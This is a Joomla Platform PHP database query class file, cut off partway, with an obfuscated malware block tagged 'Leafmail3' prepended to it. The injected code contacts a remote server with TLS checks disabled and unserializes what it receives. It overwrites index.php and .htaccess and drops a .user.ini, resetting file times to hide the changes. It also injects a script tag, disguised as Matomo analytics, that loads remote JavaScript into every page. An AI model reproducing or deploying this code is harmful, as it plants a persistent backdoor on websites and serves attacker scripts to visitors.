<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Query Element Class.
 *
 * @package     Joomla.Platform
 * @subpackage  Database
 * @since       11.1
 */
class JDatabaseQueryElement
{
	/**
	 * @var    string  The name of the element.
	 * @since  11.1
	 */
	protected $name = null;

	/**
	 * @var    array  An array of elements.
	 * @since  11.1
	 */
	protected $elements = null;

	/**
	 * @var    string  Glue piece.
	 * @since  11.1
	 */
	protected $glue = null;

	/**
	 * Constructor.
	 *
	 * @param   string  $name      The name of the element.
	 * @param   mixed   $elements  String or array.
	 * @param   string  $glue      The glue for elements.
	 *
	 * @since   11.1
	 */
	public function __construct($name, $elements, $glue = ',')
	{
		$this->elements = array();
		$this->name = $name;
		$this->glue = $glue;

		$this->append($elements);
	}

	/**
	 * Magic function to convert the query element to a string.
	 *
	 * @return  string
	 *
	 * @since   11.1
	 */
	public function __toString()
	{
		if (substr($this->name, -2) == '()')
		{
			return PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')';
		}
		else
		{
			return PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements);
		}
	}

	/**
	 * Appends element parts to the internal list.
	 *
	 * @param   mixed  $elements  String or array.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function append($elements)
	{
		if (is_array($elements))
		{
			$this->elements = array_merge($this->elements, $elements);
		}
		else
		{
			$this->elements = array_merge($this->elements, array($elements));
		}
	}

	/**
	 * Gets the elements of this element.
	 *
	 * @return  string
	 *
	 * @since   11.1
	 */
	public function getElements()
	{
		return $this->elements;
	}

	/**
	 * Method to provide deep copy support to nested objects and arrays
	 * when cloning.
	 *
	 * @return  void
	 *
	 * @since   11.3
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if (is_object($v) || is_array($v))
			{
				$this->{$k} = unserialize(serialize($v));
			}
		}
	}
}

/**
 * Query Building Class.
 *
 * @package     Joomla.Platform
 * @subpackage  Database
 * @since       11.1
 */
abstract class JDatabaseQuery
{
	/**
	 * @var    JDatabase  The database connection resource.
	 * @since  11.1
	 */
	protected $db = null;

	/**
	 * @var    string  The query type.
	 * @since  11.1
	 */
	protected $type = '';

	/**
	 * @var    JDatabaseQueryElement  The query element for a generic query (type = null).
	 * @since  11.1
	 */
	protected $element = null;

	/**
	 * @var    JDatabaseQueryElement  The select element.
	 * @since  11.1
	 */
	protected $select = null;

	/**
	 * @var    JDatabaseQueryElement  The delete element.
	 * @since  11.1
	 */
	protected $delete = null;

	/**
	 * @var    JDatabaseQueryElement  The update element.
	 * @since  11.1
	 */
	protected $update = null;

	/**
	 * @var    JDatabaseQueryElement  The insert element.
	 * @since  11.1
	 */
	protected $insert = null;

	/**
	 * @var    JDatabaseQueryElement  The from element.
	 * @since  11.1
	 */
	protected $from = null;

	/**
	 * @var    JDatabaseQueryElement  The join element.
	 * @since  11.1
	 */
	protected $join = null;

	/**
	 * @var    JDatabaseQueryElement  The set element.
	 * @since  11.1
	 */
	protected $set = null;

	/**
	 * @var    JDatabaseQueryElement  The where element.
	 * @since  11.1
	 */
	protected $where = null;

	/**
	 * @var    JDatabaseQueryElement  The group by element.
	 * @since  11.1
	 */
	protected $group = null;

	/**
	 * @var    JDatabaseQueryElement  The having element.
	 * @since  11.1
	 */
	protected $having = null;

	/**
	 * @var    JDatabaseQueryElement  The column list for an INSERT statement.
	 * @since  11.1
	 */
	protected $columns = null;

	/**
	 * @var    JDatabaseQueryElement  The values list for an INSERT statement.
	 * @since  11.1
	 */
	protected $values = null;

	/**
	 * @var    JDatabaseQueryElement  The order element.
	 * @since  11.1
	 */
	protected $order = null;

	/**
	 * @var    JDatabaseQueryElement  The union element.
	 * @since  12.1
	 */
	protected $union = null;

	/**
	 * @var   object  The auto increment insert field element.
	 * @since 11.1
	 */
	protected $autoIncrementField = null;

	/**
	 * Magic method to provide method alias support for quote() and quoteName().
	 *
	 * @param   string  $method  The called method.
	 * @param   array   $args    The array of arguments passed to the method.
	 *
	 * @return  string  The aliased method's return value or null.
	 *
	 * @since   11.1
	 */
	public function __call($method, $args)
	{
		if (empty($args))
		{
			return;
		}

		switch ($method)
		{
			case 'q':
				return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
				break;

			case 'qn':
				return $this->quoteName($args[0]);
				break;

			case 'e':
				return $this->escape($args[0], isset($args[1]) ? $args[1] : false);
				break;
		}
	}

	/**
	 * Class constructor.
	 *
	 * @param   JDatabase  $db  The database connector resource.
	 *
	 * @since   11.1
	 */
	public function __construct(JDatabase $db = null)
	{
		$this->db = $db;
	}

	/**
	 * Magic function to convert the query to a string.
	 *
	 * @return  string	The completed query.
	 *
	 * @since   11.1
	 */
	public function __toString()
	{
		$query = '';

		switch ($this->type)
		{
			case 'element':
				$query .= (string) $this->element;
				break;

			case 'select':
				$query .= (string) $this->select;
				$query .= (string) $this->from;
				if ($this->join)
				{
					// special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				if ($this->group)
				{
					$query .= (string) $this->group;
				}

				if ($this->having)
				{
					$query .= (string) $this->having;
				}

				if ($this->order)
				{
					$query .= (string) $this->order;
				}

				break;

			case 'union':
				$query .= (string) $this->union;
				break;

			case 'delete':
				$query .= (string) $this->delete;
				$query .= (string) $this->from;

				if ($this->join)
				{
					// special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'update':
				$query .= (string) $this->update;

				if ($this->join)
				{
					// special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				$query .= (string) $this->set;

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'insert':
				$query .= (string) $this->insert;

				// Set method
				if ($this->set)
				{
					$query .= (string) $this->set;
				}
				// Columns-Values method
				elseif ($this->values)
				{
					if ($this->columns)
					{
						$query .= (string) $this->columns;
					}

					$query .= ' VALUES ';
					$query .= (string) $this->values;
				}

				break;
		}

		return $query;
	}

	/**
	 * Magic function to get protected variable value
	 *
